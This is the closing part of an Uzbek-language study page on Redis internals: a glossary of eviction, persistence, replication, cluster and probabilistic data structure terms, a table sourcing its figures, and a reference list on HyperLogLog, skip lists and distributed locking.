Evictionmaxmemory ga yetilganda kalitlarni siqib chiqarish
Taxminiy LRUNamuna asosidagi LRU — to‘liq ro‘yxatsiz
LFUChastota asosidagi siyosat, vaqt bilan “sovish” bilan
RDBMa’lumotning binar suratlari
AOFYozish komandalari jurnali
appendfsyncAOF ning diskka yozish siyosati
fork / copy-on-writeSaqlash uchun jarayon nusxasi va xotira cho‘qqisi sababi
THPTransparent Huge Pages — Redis uchun o‘chirilishi kerak
Fragmentatsiya nisbatiused_memory_rss / used_memory
repl-backlogQisman qayta sinxronizatsiya uchun halqasimon bufer
SentinelNosozlikni aniqlash va avtomatik failover tizimi
Split-brainTarmoq bo‘linishida ikkita master paydo bo‘lishi
min-replicas-to-writeReplikasiz qolgan master yozishni rad etadi
SlotKlasterdagi 16384 ta mantiqiy bo‘lakdan biri
MOVED / ASKKlasterdagi doimiy va vaqtinchalik yo‘naltirish
Hash teg{...} bilan kalitlarni bitta slotga bog‘lash
Katta kalit (big key)Serverni bloklaydigan darajada katta obyekt
Issiq kalit (hot key)Nomutanosib ko‘p so‘raladigan kalit
HyperLogLogNoyob elementlarni 12 KB da taxminiy sanash
BitmapBitlar massivi — zich mantiqiy holatlar uchun
StreamsIste’molchi guruhlari va tasdiqlash bilan hodisalar jurnali
Fencing tokenQulf bilan beriladigan o‘suvchi raqam — to‘g‘rilik kafolati
SpanSkiplist ko‘rsatkichi 0-qavatda nechta elementni sakrab o‘tishi — rank uchun
Rank (HLL)Xeshning qolgan bitlaridagi oxirgi nollar soni + 1
Garmonik o‘rtachaTeskari qiymatlar o‘rtachasining teskarisi — katta chetlanishlarga chidamli
Linear countingBo‘sh registrlar ulushidan kichik to‘plam hajmini baholash
PFMERGEHLL larni registrlar bo‘yicha maksimum bilan birlashtirish
maxmemory-samplesNamunali LRU/LFU dagi tasodifiy namunalar soni
CPU budjeti (faol ekspirasiya)Bitta siklda ekspirasiyaga ajratilgan vaqt chegarasi
Valkey2024-yilda Linux Foundation ostida yaratilgan BSD litsenziyali Redis forki

20. Raqamlar manbasi

RaqamQiymatManba
Redis e’loni2009-yil 25-fevral, Hacker News; LLOOGG analitika xizmati uchunWikipedia; Valkey hujjatlari (History); redis.io blogi
Litsenziya2024-yil mart: RSALv2/SSPLv1; Valkey — Redis 7.2.4 asosida, BSD; 2025-yil may: Redis 8 da AGPLv3 variantiredis.io/legal/licenses; texnik matbuot
HyperLogLog16 384 registr, 6 bit, 12 KB, standart xato 0.81%antirez blogi (2014); Redis hujjatlari
HLL baholovchisiRedis 5.0 (2018) — Ertl usuliErtl (2017); Redis 5 o‘zgarishlari
SkiplistP = 0.25, ko‘pi bilan 32 qavatRedis manba kodi (t_zset.c, server.h)
Faol ekspirasiya20 lik namuna, 25% chegara, hz 10Redis hujjatlari va manba kodi (expire.c)
Namunali LRUmaxmemory-samples 5, 24 bitlik vaqt belgisiRedis hujjatlari (key eviction)
Kodlash chegaralarihash/list/zset: 128 element / 64 bayt; intset: 512redis.conf standart qiymatlari
Klaster16 384 slot, CRC16 mod 16384Redis Cluster spetsifikatsiyasi
2-daraja natijalari15/15; 28 mutatsiya; LRU(5) 71.0% vs haqiqiy 71.4%docs/amaliyot/redis/, referens implementatsiya

Kechikishlar (RTT ~200 µs, komanda ~1 µs), xotira ustamalari (har kalitga ~100 bayt), ops/s, fork cho‘qqisi, AOF hajmi, RAM va disk narxlari — illyustratsiya uchun taxminiy raqamlar. Ular versiya, apparat va bulut provayderiga qarab bir necha barobar farq qiladi. Aniq qiymatlarni o‘z muhitingizda redis-benchmark, MEMORY USAGE va INFO bilan o‘lchang. Asosiy xulosalar — tarmoq hukmronligi, bitta ipning narxi, maxmemory zaxirasi, asinxron replikatsiyadagi yo‘qotish — bu farqlarga chidamli.

21. Manbalar

  • Redis rasmiy hujjatlari: Data types, Memory optimization, Persistence, Key eviction, Cluster specification
  • Salvatore Sanfilippo (antirez), blog: “Redis new data structure: the HyperLogLog” (2014) va boshqa yozuvlar — ko‘p qarorlarning asl sabablari
  • Philippe Flajolet va boshq. (2007), “HyperLogLog: the analysis of a near-optimal cardinality estimation algorithm”, AofA
  • Stefan Heule, Marc Nunkesser, Alexander Hall (2013), “HyperLogLog in Practice”, EDBT (Google)
  • Otmar Ertl (2017), “New cardinality estimation algorithms for HyperLogLog sketches”, arXiv
  • William Pugh (1990), “Skip Lists: A Probabilistic Alternative to Balanced Trees”, Communications of the ACM
  • Martin Kleppmann (2016), “How to do distributed locking” — Redlock tanqidi va fencing token
  • Redis: “Distributed Locks with Redis” — munozaraning ikkinchi tomoni
  • Valkey hujjatlari: History — loyiha tarixi va fork
  • redis-cli --latency, --bigkeys, --memkeys, LATENCY DOCTOR — amaliy diagnostika vositalari

Ushbu sahifa dizayni Redis interfeysidan ilhomlangan o‘quv materiali. Loyiha Redis bilan bog‘liq emas, rasmiy logotip va shriftlardan foydalanilmagan.